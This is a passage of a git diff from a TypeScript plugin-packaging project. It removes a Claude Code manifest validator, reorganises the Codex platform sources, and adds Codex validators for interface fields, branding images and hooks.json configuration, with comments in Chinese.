'CLAUDE_MANIFEST_REFERENCE_INVALID', `${field} must be a path or non-empty path array.`, [field]); - return; - } - for (const [index, reference] of references.entries()) { - /** 当前引用在单值或数组字段中的诊断位置。 */ - const fieldPath: readonly (string | number)[] = references.length === 1 ? [field] : [field, index]; - if (!isSafePluginReference(reference)) { - report(context, 'CLAUDE_MANIFEST_REFERENCE_UNSAFE', `${field} references must start with ./ and stay inside the Plugin root.`, fieldPath); - } else if (!referenceExists(assets, reference)) { - report(context, 'CLAUDE_MANIFEST_REFERENCE_MISSING', `${field} references a missing Plugin file or directory.`, fieldPath); - } - } -} - -/** - * 校验 Claude Code Plugin 清单字段、Component 目录和 Extension 引用。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param manifest 已解析的 Plugin 清单对象。 - * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 - */ -async function validatePluginManifest( - context: PlatformValidateContext, - manifest: JsonRecord, - pluginRoot = '', -): Promise { - /** 当前 Plugin 安装根内的相对 Asset 路径集合。 */ - const assets = scopedAssets(context, pluginRoot); - for (const field of Object.keys(manifest)) { - if (!PLUGIN_FIELDS.has(field)) - report(context, 'CLAUDE_MANIFEST_FIELD_UNKNOWN', `Unknown Claude Code Plugin field "${field}".`, [field]); - } - /** 必填字符串字段及其期望的非空值。 */ - const required = ['name', 'version', 'description'] as const; - for (const field of required) { - if (typeof manifest[field] !== 'string' || manifest[field].trim().length === 0) - report(context, 'CLAUDE_MANIFEST_FIELD_REQUIRED', `${field} must be a non-empty string.`, [field]); - } - if (typeof manifest.name === 'string' && !PLUGIN_NAME_PATTERN.test(manifest.name)) - report(context, 'CLAUDE_MANIFEST_NAME_INVALID', 'name must use lowercase kebab-case.', ['name']); - /** 可选字符串元数据必须保持非空字符串形态。 */ - const optionalStrings = ['displayName', 'homepage', 'repository', 'license'] as const; - for (const field of optionalStrings) { - if (manifest[field] !== undefined && (typeof manifest[field] !== 'string' || manifest[field].trim().length === 0)) - report(context, 'CLAUDE_MANIFEST_METADATA_INVALID', `${field} must be a non-empty string.`, [field]); - } - if (manifest.author !== undefined) { - /** Plugin 清单中经过对象形态检查的作者字段。 */ - const author = isRecord(manifest.author) ? manifest.author : undefined; - if (author === undefined || typeof author.name !== 'string' || author.name.trim().length === 0) { - report(context, 'CLAUDE_MANIFEST_AUTHOR_INVALID', 'author.name must be a non-empty string.', ['author', 'name']); - } else { - /** author 的可选联系字段只能是非空字符串。 */ - const authorFields = ['email', 'url'] as const; - for (const field of authorFields) { - if (author[field] !== undefined && (typeof author[field] !== 'string' || author[field].trim().length === 0)) - report(context, 'CLAUDE_MANIFEST_AUTHOR_INVALID', `author.${field} must be a non-empty string.`, ['author', field]); - } - } - } - if (manifest.keywords !== undefined - && (!Array.isArray(manifest.keywords) - || manifest.keywords.some(keyword => typeof keyword !== 'string' || keyword.trim().length === 0) - || new Set(manifest.keywords).size !== manifest.keywords.length)) { - report(context, 'CLAUDE_MANIFEST_KEYWORDS_INVALID', 'keywords must contain unique non-empty strings.', ['keywords']); - } - if (manifest.defaultEnabled !== undefined && typeof manifest.defaultEnabled !== 'boolean') - report(context, 'CLAUDE_MANIFEST_DEFAULT_INVALID', 'defaultEnabled must be a boolean.', ['defaultEnabled']); - for (const field of COMPONENT_REFERENCE_FIELDS) { - if (manifest[field] !== undefined) - validateReferences(context, assets, field, manifest[field]); - } - for (const field of EXTENSION_REFERENCE_FIELDS) { - /** 当前 Extension 添加的清单字段值。 */ - const value = manifest[field]; - if (value === undefined) - continue; - if (typeof value === 'string') { - validateReferences(context, assets, field, value); - if (field === 'hooks' && isSafePluginReference(value) && referenceExists(assets, value)) - await validateHookFile(context, pluginRoot, value, [field]); - if (field === 'mcpServers' && isSafePluginReference(value) && referenceExists(assets, value)) - await validateMcpFile(context, pluginRoot, value, [field]); - } else if (!isRecord(value)) { - report(context, 'CLAUDE_EXTENSION_FIELD_INVALID', `${field} must be a Plugin path or inline object.`, [field]); - } else if (field === 'hooks') { - validateHookConfig(context, value, [field], false); - } else { - validateMcpServers(context, value, [field]); - } - } - if (manifest.hooks === undefined && assets.has('hooks/hooks.json')) - await validateHookFile(context, pluginRoot, './hooks/hooks.json', ['hooks']); - /** Claude Code 会自动发现 Plugin 根 `.mcp.json`,即使 Manifest 未显式引用。 */ - if (manifest.mcpServers === undefined && assets.has('.mcp.json')) - await validateMcpFile(context, pluginRoot, './.mcp.json', ['mcpServers']); -} - -/** - * 校验 Marketplace 根清单与自包含 Plugin 的身份和引用。 - * - * @param context Platform validatePackage 生命周期上下文。 - * @param marketplace 已解析的 Marketplace 清单。 - */ -async function validateMarketplace( - context: PlatformValidateContext, - marketplace: JsonRecord, -): Promise { - for (const field of Object.keys(marketplace)) { - if (!MARKETPLACE_FIELDS.has(field)) - report(context, 'CLAUDE_MARKETPLACE_FIELD_UNKNOWN', `Unknown Claude Code Marketplace field "${field}".`, [field]); - } - if (typeof marketplace.name !== 'string' || marketplace.name.trim().length === 0) - report(context, 'CLAUDE_MARKETPLACE_NAME_REQUIRED', 'Marketplace name must be a non-empty string.', ['name']); - if (!isRecord(marketplace.owner) || typeof marketplace.owner.name !== 'string' || marketplace.owner.name.trim().length === 0) { - report(context, 'CLAUDE_MARKETPLACE_OWNER_REQUIRED', 'Marketplace owner.name must be present.', ['owner', 'name']); - } else { - /** Marketplace owner 可选联系方式字段。 */ - const ownerFields = ['email', 'url'] as const; - for (const field of ownerFields) { - if (marketplace.owner[field] !== undefined - && (typeof marketplace.owner[field] !== 'string' || marketplace.owner[field].trim().length === 0)) { - report(context, 'CLAUDE_MARKETPLACE_OWNER_INVALID', `Marketplace owner.${field} must be a non-empty string.`, ['owner', field]); - } - } - } - if (typeof marketplace.description !== 'string' || marketplace.description.trim().length === 0) - report(context, 'CLAUDE_MARKETPLACE_DESCRIPTION_REQUIRED', 'Marketplace description must be a non-empty string.', ['description']); - if (typeof marketplace.version !== 'string' || marketplace.version.trim().length === 0) - report(context, 'CLAUDE_MARKETPLACE_VERSION_REQUIRED', 'Marketplace version must be a non-empty string.', ['version']); - if (!isRecord(marketplace.metadata) || marketplace.metadata.pluginRoot !== './') - report(context, 'CLAUDE_MARKETPLACE_ROOT_INVALID', 'Marketplace metadata.pluginRoot must be "./".', ['metadata', 'pluginRoot']); - if (!Array.isArray(marketplace.plugins) - || marketplace.plugins.length === 0 - || marketplace.plugins.some(entry => !isRecord(entry))) { - report(context, 'CLAUDE_MARKETPLACE_PLUGIN_REQUIRED', 'Marketplace must contain one or more Plugin entries.', ['plugins']); - return; - } - /** 已验证来源用于阻止两个条目指向同一 Plugin 根。 */ - const sources = new Set(); - /** 已验证名称用于阻止 Marketplace 内出现选择器歧义。 */ - const names = new Set(); - /** [index, entryValue] 表示当前 Marketplace Plugin 条目。 */ - for (const [index, entryValue] of marketplace.plugins.entries()) { - /** plugins 已经整体通过对象检查后的当前条目。 */ - const entry = entryValue as JsonRecord; - for (const field of Object.keys(entry)) { - if (!MARKETPLACE_PLUGIN_FIELDS.has(field)) - report(context, 'CLAUDE_MARKETPLACE_PLUGIN_FIELD_UNKNOWN', `Unknown Marketplace Plugin field "${field}".`, ['plugins', index, field]); - } - /** 当前条目声明的本地 Plugin 来源。 */ - const source = entry.source; - /** 单项保持兼容根布局,多项必须各自进入稳定 plugins 子目录。 */ - const sourceValid = typeof source === 'string' - && (marketplace.plugins.length === 1 ? source === './' : MARKETPLACE_PLUGIN_SOURCE_PATTERN.test(source)); - if (!sourceValid) { - report(context, 'CLAUDE_MARKETPLACE_SOURCE_INVALID', 'Single-Plugin source must be "./"; multi-Plugin sources must use "./plugins/".', ['plugins', index, 'source']); - continue; - } - if (sources.has(source)) - report(context, 'CLAUDE_MARKETPLACE_SOURCE_DUPLICATE', 'Marketplace Plugin sources must be unique.', ['plugins', index, 'source']); - sources.add(source); - /** `./` 对应 Distribution 根,其余来源去掉协议前缀后作为 Plugin 根。 */ - const pluginRoot = source === './' ? '' : source.slice(2); - /** 当前来源根内必须存在且可解析的 Claude Code Plugin Manifest。 */ - const plugin = await readJson(context, pluginRoot === '' ? PLUGIN_MANIFEST_PATH : `${pluginRoot}/${PLUGIN_MANIFEST_PATH}`); - if (plugin === undefined) - continue; - await validatePluginManifest(context, plugin, pluginRoot); - if (entry.name !== plugin.name || entry.version !== plugin.version || entry.description !== plugin.description) { - report(context, 'CLAUDE_MARKETPLACE_PLUGIN_MISMATCH', 'Marketplace Plugin metadata must match its bundled Plugin manifest.', ['plugins', index]); - } - if (typeof entry.name === 'string') { - /** Marketplace 名称使用平台选择器的大小写敏感规范值。 */ - const name = entry.name; - if (names.has(name)) - report(context, 'CLAUDE_MARKETPLACE_PLUGIN_DUPLICATE', 'Marketplace Plugin names must be unique.', ['plugins', index, 'name']); - names.add(name); - } - if (entry.strict !== true) - report(context, 'CLAUDE_MARKETPLACE_STRICT_REQUIRED', 'Self-contained Marketplace Plugins must use strict: true.', ['plugins', index, 'strict']); - // 当前单 Plugin 兼容布局继续要求 Marketplace 根元数据与唯一 Plugin 一致。 - if (marketplace.plugins.length === 1 - && (marketplace.description !== plugin.description || marketplace.version !== plugin.version)) { - report(context, 'CLAUDE_MARKETPLACE_METADATA_MISMATCH', 'Single-Plugin Marketplace description and version must match the bundled Plugin.', []); - } - } -} - -/** - * 验证 Claude Code 主 Plugin 或 Marketplace Distribution 的最终安装候选。 - * - * @param context Core 已安全物化的只读候选上下文。 - */ -export async function validateClaudePackage(context: PlatformValidateContext): Promise { - if (context.candidate.unit.role !== 'distribution') { - /** 主单元始终使用安装根固定 Plugin Manifest。 */ - const plugin = await readJson(context, PLUGIN_MANIFEST_PATH); - if (plugin !== undefined) - await validatePluginManifest(context, plugin); - return; - } - /** Marketplace Distribution 额外需要的根清单。 */ - const marketplace = await readJson(context, MARKETPLACE_MANIFEST_PATH); - if (marketplace !== undefined) - await validateMarketplace(context, marketplace); -} diff --git a/packages/platforms/claude-code/test/platform.test.ts b/packages/platforms/claude-code/test/platform.test.ts index 143993d..bd9149d 100644 --- a/packages/platforms/claude-code/test/platform.test.ts +++ b/packages/platforms/claude-code/test/platform.test.ts @@ -9,7 +9,7 @@ import { } from '@acplugin/core'; import { defineExtension, type AcpluginExtension } from '@tokenroll/acplugin/sdk'; import { claudeCode } from '../src/index.js'; -import { MARKETPLACE_MANIFEST_PATH, PLUGIN_MANIFEST_PATH } from '../src/manifest.js'; +import { MARKETPLACE_MANIFEST_PATH, PLUGIN_MANIFEST_PATH } from '../src/package/manifest.js'; /** 测试结束后统一删除的临时工程根。 */ const temporaryRoots: string[] = []; diff --git a/packages/platforms/codex/src/index.ts b/packages/platforms/codex/src/index.ts index 7e67d1f..42f6b53 100644 --- a/packages/platforms/codex/src/index.ts +++ b/packages/platforms/codex/src/index.ts @@ -7,14 +7,14 @@ import { createCodexComponents, validateCodexComponent, validateGeneratedSkillIds, -} from './components.js'; +} from './package/components.js'; import { createMarketplaceAssets, createPluginDocument, validatePlatformOptions, -} from './manifest.js'; +} from './package/manifest.js'; import type { CodexInterfaceOptions, CodexMarketplaceOptions, CodexPlatformOptions } from './types.js'; -import { validateCodexPackage } from './validator.js'; +import { validateCodexPackage } from './package/validation/index.js'; export type { CodexCategory, diff --git a/packages/platforms/codex/src/components.ts b/packages/platforms/codex/src/package/components.ts similarity index 100% rename from packages/platforms/codex/src/components.ts rename to packages/platforms/codex/src/package/components.ts diff --git a/packages/platforms/codex/src/manifest.ts b/packages/platforms/codex/src/package/manifest.ts similarity index 99% rename from packages/platforms/codex/src/manifest.ts rename to packages/platforms/codex/src/package/manifest.ts index 6334202..8012f94 100644 --- a/packages/platforms/codex/src/manifest.ts +++ b/packages/platforms/codex/src/package/manifest.ts @@ -24,7 +24,7 @@ import type { CodexPlatformOptions, CodexPluginInterface, CodexPluginManifest, -} from './types.js'; +} from '../types.js'; /** Codex Plugin 清单的稳定逻辑 Document ID。 */ export const PLUGIN_MANIFEST_ID = 'plugin-manifest'; diff --git a/packages/platforms/codex/src/protocol.ts b/packages/platforms/codex/src/package/protocol.ts similarity index 100% rename from packages/platforms/codex/src/protocol.ts rename to packages/platforms/codex/src/package/protocol.ts diff --git a/packages/platforms/codex/src/package/validation/assets.ts b/packages/platforms/codex/src/package/validation/assets.ts new file mode 100644 index 0000000..d2c541f --- /dev/null +++ b/packages/platforms/codex/src/package/validation/assets.ts @@ -0,0 +1,146 @@ +/** Codex interface 与品牌 Asset validator。 */ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { JsonValue } from '@tokenroll/acplugin/sdk'; +import { imageSize } from 'image-size'; +import { + CODEX_INTERFACE_FIELDS, + CODEX_INTERFACE_REQUIRED_FIELDS, + codexInterfaceFieldIssue, + parseCodexSvgDimensions, +} from '../protocol.js'; +import { + isRecord, + isSafePluginReference, + referenceExists, + report, + validateReference, + type PlatformValidateContext, +} from './shared.js'; + +/** Codex Plugin `interface` 允许出现的当前官方字段。 */ +const INTERFACE_FIELDS = new Set(CODEX_INTERFACE_FIELDS); + +/** Codex 目录品牌图片支持的文件扩展名。 */ +const BRANDING_IMAGE_EXTENSIONS = new Set(['.png', '.jpg', '.jpeg', '.webp', '.svg']); + +/** Codex 目录品牌图片允许的最大字节数。 */ +const MAX_BRANDING_IMAGE_BYTES = 5 * 1024 * 1024; + +/** + * 校验已存在的 Codex 目录品牌图片格式、字节数和方形尺寸。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 + * @param reference 相对于 Plugin 根的图片路径。 + * @param field Manifest 中声明图片的字段。 + * @param fieldPath 精确诊断位置。 + */ +async function validateBrandingImage( + context: PlatformValidateContext, + pluginRoot: string, + reference: string, + field: string, + fieldPath: readonly (string | number)[], +): Promise { + if (!isSafePluginReference(reference)) + return; + /** Manifest 引用转换后的候选根内 Asset 路径。 */ + const assetPath = reference.slice(2); + /** 图片文件名的规范小写扩展名。 */ + const extension = path.posix.extname(assetPath).toLocaleLowerCase('en-US'); + if (!BRANDING_IMAGE_EXTENSIONS.has(extension)) { + report(context, 'CODEX_BRANDING_IMAGE_FORMAT_UNSUPPORTED', `${field} must use PNG, JPEG, WebP, or SVG.`, fieldPath); + return; + } + try { + /** 从 Core 已物化的候选根读取实际图片字节。 */ + const bytes = await fs.readFile(path.join(context.candidate.root, pluginRoot, assetPath)); + if (bytes.byteLength > MAX_BRANDING_IMAGE_BYTES) { + report(context, 'CODEX_BRANDING_IMAGE_TOO_LARGE', `${field} must not exceed 5 MiB.`, fieldPath); + return; + } + /** SVG 与 Raster 解析后统一参与方形和范围校验的尺寸。 */ + let dimensions: { readonly width?: number; readonly height?: number }; + if (extension === '.svg') { + dimensions = parseCodexSvgDimensions(bytes); + } else { + /** Raster 继续使用二进制格式探测与安全解码。 */ + const raster = imageSize(bytes); + /** `.jpeg` 与 image-size 返回的 `jpg` 使用同一检测格式。 */ + const expectedType = extension === '.jpeg' ? 'jpg' : extension.slice(1); + if (raster.type !== expectedType) { + report(context, 'CODEX_BRANDING_IMAGE_CONTENT_MISMATCH', `${field} extension must match the detected image format.`, fieldPath); + } + dimensions = raster; + } + if (dimensions.width === undefined || dimensions.height === undefined + || dimensions.width !== dimensions.height + || dimensions.width < 48 + || dimensions.width > 4_096) { + report(context, 'CODEX_BRANDING_IMAGE_DIMENSIONS_INVALID', `${field} must be a square image between 48 and 4096 pixels.`, fieldPath); + } + } catch { + report(context, 'CODEX_BRANDING_IMAGE_DECODE_FAILED', `${field} must reference a readable, decodable image.`, fieldPath); + } +} + +/** + * 校验 Codex Plugin 安装界面字段和资源引用。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param assets 当前 Package 的 Asset 路径集合。 + * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 + * @param value Manifest 的 interface 候选。 + */ +export async function validateInterface( + context: PlatformValidateContext, + assets: ReadonlySet, + pluginRoot: string, + value: JsonValue, +): Promise { + if (!isRecord(value)) { + report(context, 'CODEX_INTERFACE_OBJECT_REQUIRED', 'interface must be a JSON object.', ['interface']); + return; + } + for (const field of Object.keys(value)) { + if (!INTERFACE_FIELDS.has(field)) + report(context, 'CODEX_INTERFACE_FIELD_UNKNOWN', `Unknown Codex interface field "${field}".`, ['interface', field]); + } + /** 已报告纯值问题的字段不再进入资源存在性校验。 */ + const invalidFields = new Set(); + for (const field of CODEX_INTERFACE_FIELDS) { + /** 当前最终 interface 字段候选。 */ + const candidate = value[field]; + /** 当前字段是否属于 interface 存在时的四个必填展示字段。 */ + const required = (CODEX_INTERFACE_REQUIRED_FIELDS as readonly string[]).includes(field); + /** 必填字段缺失、类型错误或空白时只报告必填问题。 */ + const requiredInvalid = required && (typeof candidate !== 'string' || candidate.trim().length === 0); + if (candidate === undefined || requiredInvalid) { + if (required) { + report(context, 'CODEX_INTERFACE_FIELD_REQUIRED', `interface.${field} must be a non-empty string.`, ['interface', field]); + invalidFields.add(field); + } + continue; + } + /** 共享纯规则返回的第一个稳定问题。 */ + const issue = codexInterfaceFieldIssue(field, candidate); + if (issue !== undefined) { + report(context, issue.code, issue.message, ['interface', field]); + invalidFields.add(field); + } + } + for (const field of ['composerIcon', 'logo'] as const) { + /** 当前图片路径候选。 */ + const candidate = value[field]; + if (typeof candidate === 'string' && !invalidFields.has(field)) { + validateReference(context, assets, `interface.${field}`, candidate, ['interface', field]); + if (referenceExists(assets, candidate)) + await validateBrandingImage(context, pluginRoot, candidate, `interface.${field}`, ['interface', field]); + } + } + if (Array.isArray(value.screenshots) && !invalidFields.has('screenshots')) { + for (const [index, screenshot] of value.screenshots.entries()) + validateReference(context, assets, 'interface.screenshots', screenshot as string, ['interface', 'screenshots', index]); + } +} diff --git a/packages/platforms/codex/src/package/validation/hooks.ts b/packages/platforms/codex/src/package/validation/hooks.ts new file mode 100644 index 0000000..ed0f035 --- /dev/null +++ b/packages/platforms/codex/src/package/validation/hooks.ts @@ -0,0 +1,276 @@ +/** Codex Hook wire contract validator。 */ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import type { JsonValue } from '@tokenroll/acplugin/sdk'; +import { + isRecord, + isSafePluginReference, + referenceExists, + report, + validateReference, + type JsonRecord, + type PlatformValidateContext, +} from './shared.js'; + +/** Codex 当前公开并可以从 Plugin 生命周期配置触发的 Hook 事件。 */ +const HOOK_EVENTS = new Set([ + 'SessionStart', 'SessionEnd', 'UserPromptSubmit', 'PreToolUse', 'PermissionRequest', 'PostToolUse', + 'PreCompact', 'PostCompact', 'SubagentStart', 'SubagentStop', 'Stop', +]); + +/** Codex `hooks.json` 顶层允许出现的字段。 */ +const HOOK_CONFIG_FIELDS = new Set(['description', 'hooks']); + +/** 单个 Codex Hook matcher 分组允许出现的字段。 */ +const HOOK_GROUP_FIELDS = new Set(['matcher', 'hooks']); + +/** 当前可执行 Codex command Hook Handler 允许出现的字段。 */ +const HOOK_HANDLER_FIELDS = new Set([ + 'type', 'command', 'commandWindows', 'command_windows', 'timeout', 'statusMessage', + 'additionalContextLimit', 'async', +]); + +/** + * 校验 Codex Hook matcher 是可执行的正则字符串。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param value matcher 候选值。 + * @param fieldPath matcher 在最终 Hook 配置中的字段路径。 + */ +function validateHookMatcher( + context: PlatformValidateContext, + value: JsonValue, + fieldPath: readonly (string | number)[], +): void { + if (typeof value !== 'string') { + report(context, 'CODEX_HOOK_MATCHER_INVALID', 'Hook matcher must be a regular-expression string.', fieldPath); + return; + } + try { + /** 构造正则只用于验证 Codex 将要解析的表达式语法。 */ + const expression = new RegExp(value); + void expression; + } catch { + report(context, 'CODEX_HOOK_MATCHER_INVALID', 'Hook matcher must be a valid regular expression.', fieldPath); + } +} + +/** + * 校验 Codex command Hook Handler 的字段和平台限制。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param event 当前 Handler 所属事件。 + * @param value Handler 候选值。 + * @param fieldPath Handler 在最终 Hook 配置中的字段路径。 + */ +function validateHookHandler( + context: PlatformValidateContext, + event: string, + value: JsonValue, + fieldPath: readonly (string | number)[], +): void { + if (!isRecord(value)) { + report(context, 'CODEX_HOOK_HANDLER_INVALID', 'Hook handlers must be JSON objects.', fieldPath); + return; + } + if (value.type !== 'command') { + report(context, 'CODEX_HOOK_HANDLER_TYPE_INVALID', 'Codex currently executes only command Hook handlers.', [...fieldPath, 'type']); + return; + } + for (const field of Object.keys(value)) { + if (!HOOK_HANDLER_FIELDS.has(field)) + report(context, 'CODEX_HOOK_HANDLER_FIELD_UNKNOWN', `Unknown Codex command Hook field "${field}".`, [...fieldPath, field]); + } + if (typeof value.command !== 'string' || value.command.trim().length === 0) + report(context, 'CODEX_HOOK_COMMAND_INVALID', 'command Hook command must be a non-empty string.', [...fieldPath, 'command']); + /** Windows 命令同时兼容 JSON camelCase 和 TOML snake_case 字段。 */ + for (const field of ['commandWindows', 'command_windows'] as const) { + if (value[field] !== undefined && (typeof value[field] !== 'string' || value[field].trim().length === 0)) + report(context, 'CODEX_HOOK_WINDOWS_COMMAND_INVALID', `${field} must be a non-empty string.`, [...fieldPath, field]); + } + if (value.commandWindows !== undefined && value.command_windows !== undefined) { + report(context, 'CODEX_HOOK_WINDOWS_COMMAND_DUPLICATE', 'Use only one Windows command field spelling.', fieldPath); + } + if (value.timeout !== undefined + && (typeof value.timeout !== 'number' || !Number.isFinite(value.timeout) || value.timeout <= 0)) { + report(context, 'CODEX_HOOK_TIMEOUT_INVALID', 'Hook timeout must be a positive finite number of seconds.', [...fieldPath, 'timeout']); + } else if (event === 'SessionEnd' && typeof value.timeout === 'number' && value.timeout > 3) { + report(context, 'CODEX_HOOK_TIMEOUT_LIMIT', 'SessionEnd Hook timeout must not exceed 3 seconds.', [...fieldPath, 'timeout']); + } + if (value.statusMessage !== undefined + && (typeof value.statusMessage !== 'string' || value.statusMessage.trim().length === 0)) { + report(context, 'CODEX_HOOK_STATUS_INVALID', 'Hook statusMessage must be a non-empty string.', [...fieldPath, 'statusMessage']); + } + if (value.additionalContextLimit !== undefined + && (typeof value.additionalContextLimit !== 'number' + || !Number.isInteger(value.additionalContextLimit) + || value.additionalContextLimit < 0)) { + report(context, 'CODEX_HOOK_CONTEXT_LIMIT_INVALID', 'additionalContextLimit must be a non-negative integer.', [...fieldPath, 'additionalContextLimit']); + } + if (value.async !== undefined && typeof value.async !== 'boolean') + report(context, 'CODEX_HOOK_ASYNC_INVALID', 'command Hook async must be a boolean.', [...fieldPath, 'async']); +} + +/** + * 校验 Codex Hook 事件映射及其 matcher 分组。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param value `hooks` 字段中的事件映射候选。 + * @param fieldPath 事件映射在最终配置中的字段路径。 + */ +function validateHookEvents( + context: PlatformValidateContext, + value: JsonValue, + fieldPath: readonly (string | number)[], +): void { + if (!isRecord(value)) { + report(context, 'CODEX_HOOK_EVENTS_INVALID', 'hooks must contain an event mapping.', fieldPath); + return; + } + /** [event, groups] 表示当前遍历的 Codex 事件和 matcher 分组。 */ + for (const [event, groups] of Object.entries(value)) { + /** 当前事件在最终配置中的稳定字段路径。 */ + const eventPath = [...fieldPath, event]; + if (!HOOK_EVENTS.has(event)) { + report(context, 'CODEX_HOOK_EVENT_UNKNOWN', `Unknown Codex Hook event "${event}".`, eventPath); + continue; + } + if (!Array.isArray(groups) || groups.length === 0) { + report(context, 'CODEX_HOOK_GROUPS_INVALID', 'Each Hook event must contain one or more matcher groups.', eventPath); + continue; + } + /** [groupIndex, groupValue] 表示当前事件中的 matcher 分组。 */ + for (const [groupIndex, groupValue] of groups.entries()) { + /** 当前 matcher 分组的稳定字段路径。 */ + const groupPath = [...eventPath, groupIndex]; + if (!isRecord(groupValue)) { + report(context, 'CODEX_HOOK_GROUP_INVALID', 'Hook matcher groups must be JSON objects.', groupPath); + continue; + } + for (const field of Object.keys(groupValue)) { + if (!HOOK_GROUP_FIELDS.has(field)) + report(context, 'CODEX_HOOK_GROUP_FIELD_UNKNOWN', `Unknown Codex Hook group field "${field}".`, [...groupPath, field]); + } + if (groupValue.matcher !== undefined) + validateHookMatcher(context, groupValue.matcher, [...groupPath, 'matcher']); + if (!Array.isArray(groupValue.hooks) || groupValue.hooks.length === 0) { + report(context, 'CODEX_HOOK_HANDLERS_INVALID', 'Hook matcher groups must contain one or more handlers.', [...groupPath, 'hooks']); + continue; + } + /** [handlerIndex, handler] 表示当前 matcher 分组中的 Handler。 */ + for (const [handlerIndex, handler] of groupValue.hooks.entries()) + validateHookHandler(context, event, handler, [...groupPath, 'hooks', handlerIndex]); + } + } +} + +/** + * 校验 Codex `hooks.json` 顶层结构或 Plugin Manifest 内联事件映射。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param value 已解析的 Hook 配置对象。 + * @param fieldPath 配置在 Plugin Manifest 中的字段路径。 + * @param wrapped 是否要求配置使用 `hooks.json` 顶层包装。 + */ +function validateHookConfig( + context: PlatformValidateContext, + value: JsonRecord, + fieldPath: readonly (string | number)[], + wrapped: boolean, +): void { + if (!wrapped && value.hooks === undefined && value.description === undefined) { + validateHookEvents(context, value, fieldPath); + return; + } + for (const field of Object.keys(value)) { + if (!HOOK_CONFIG_FIELDS.has(field)) + report(context, 'CODEX_HOOK_CONFIG_FIELD_UNKNOWN', `Unknown Codex Hook config field "${field}".`, [...fieldPath, field]); + } + if (value.description !== undefined + && (typeof value.description !== 'string' || value.description.trim().length === 0)) { + report(context, 'CODEX_HOOK_DESCRIPTION_INVALID', 'Hook config description must be a non-empty string.', [...fieldPath, 'description']); + } + if (value.hooks === undefined) { + report(context, 'CODEX_HOOKS_REQUIRED', 'Hook config must contain a hooks event mapping.', [...fieldPath, 'hooks']); + return; + } + validateHookEvents(context, value.hooks, [...fieldPath, 'hooks']); +} + +/** + * 读取并校验 Plugin 根内被引用的 Codex `hooks.json`。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 + * @param reference 已通过安装根路径规则的 Hook 配置引用。 + * @param fieldPath 引用在 Plugin Manifest 中的字段路径。 + */ +export async function validateHookFile( + context: PlatformValidateContext, + pluginRoot: string, + reference: string, + fieldPath: readonly (string | number)[], +): Promise { + try { + /** Hook 配置引用相对于当前 Plugin 根解析后的绝对候选路径。 */ + const hookPath = path.join(context.candidate.root, pluginRoot, reference.slice(2)); + /** JSON.parse 返回的未知配置值。 */ + const value: unknown = JSON.parse(await fs.readFile(hookPath, 'utf8')); + if (!isRecord(value)) { + report(context, 'CODEX_HOOK_CONFIG_OBJECT_REQUIRED', 'Hook config must contain a JSON object.', fieldPath); + return; + } + validateHookConfig(context, value, fieldPath, true); + } catch { + report(context, 'CODEX_HOOK_CONFIG_READ_FAILED', 'Hook config reference must contain valid JSON.', fieldPath); + } +} + +/** + * 校验 Hooks 字段允许的引用或内联配置,并验证最终配置内容。 + * + * @param context Platform validatePackage 生命周期上下文。 + * @param assets 当前 Package 的 Asset 路径集合。 + * @param pluginRoot Plugin 相对于候选 Distribution 根的安装目录。 + * @param value Hooks 字段候选。 + */ +export async function validateHooks( + context: PlatformValidateContext, + assets: ReadonlySet, + pluginRoot: string, + value: JsonValue, +): Promise { + /** 校验并读取单个 Plugin 根路径引用。 */ + const validatePath = async (reference: string, fieldPath: readonly (string | number)[]): Promise => { + validateReference(context, assets, 'hooks', reference, fieldPath); + if (isSafePluginReference(reference) && referenceExists(assets, reference)) + await validateHookFile(context, pluginRoot, reference, fieldPath); + }; + if (typeof value === 'string') { + await validatePath(value, ['hooks']); + return; + } + if (isRecord(value)) { + validateHookConfig(context, value, ['hooks'], false); + return; + } + if (!Array.isArray(value) || value.length === 0) { + report(context, 'CODEX_HOOKS_INVALID', 'hooks must be a path, paths, an inline object, or inline objects.', ['hooks']); + return; + } + /** 全部为路径或全部为内联对象,避免依赖未声明的混合语义。 */ + const allPaths = value.every(item => typeof item === 'string'); + /** 内联 Hooks 数组是否全部为对象。 */ + const allObjects = value.every(isRecord); + if (!allPaths && !allObjects) { + report(context, 'CODEX_HOOKS_INVALID', 'hooks arrays must contain only paths or only inline objects.', ['hooks']); + return; + } + if (allPaths) { + for (const [index, reference] of value.entries()) + await validatePath(reference as string, ['hooks', index]); + return; + } + for (const [index, inline] of value.entries()) + validateHookConfig(context, inline as JsonRecord, ['hooks', index], false); +} diff --git a/packages/platforms/codex/src/package/validation/index.ts b/packages/platforms/codex/src/package/validation/index.ts new file mode 100644 index 0000000..20eb207 --- /dev/null +++ b/packages/platforms/codex/src/package/validation/index.ts @@ -0,0 +1,22 @@ +/** Codex 主 Plugin 或 Marketplace Distribution 的 validator 组合入口。 */ +import { MARKETPLACE_MANIFEST_PATH, PLUGIN_MANIFEST_PATH } from '../manifest.js'; +import { validatePluginManifest } from './manifest.js'; +import { validateMarketplace } from './marketplace.js'; +import { readJson, report, type PlatformValidateContext } from './shared.js'; + +/** 校验主 Plugin 或 Marketplace Distribution 的最终安装根契约。 */ +export async function validateCodexPackage(context: PlatformValidateContext): Promise { + if (context.candidate.unit.type === 'marketplace') { + /** Distribution 额外要求 Repo Marketplace 固定路径。 */ + const marketplace = await readJson(context, MARKETPLACE_MANIFEST_PATH); + if (marketplace !== undefined) + await validateMarketplace(context, marketplace); + return; + } + /** 主单元始终使用安装根固定 Plugin Manifest。 */ + const plugin = await readJson(context, PLUGIN_MANIFEST_PATH); + if (plugin !== undefined) + await validatePluginManifest(context, plugin); + if (context.candidate.unit.assets.some(asset => asset.path === MARKETPLACE_MANIFEST_PATH)) + report(context, 'CODEX_MARKETPLACE_IN_PRIMARY', 'Primary Plugin must not contain a Marketplace manifest.'); +} diff --git a/packages/platforms/codex/src/package/validation/manifest.ts 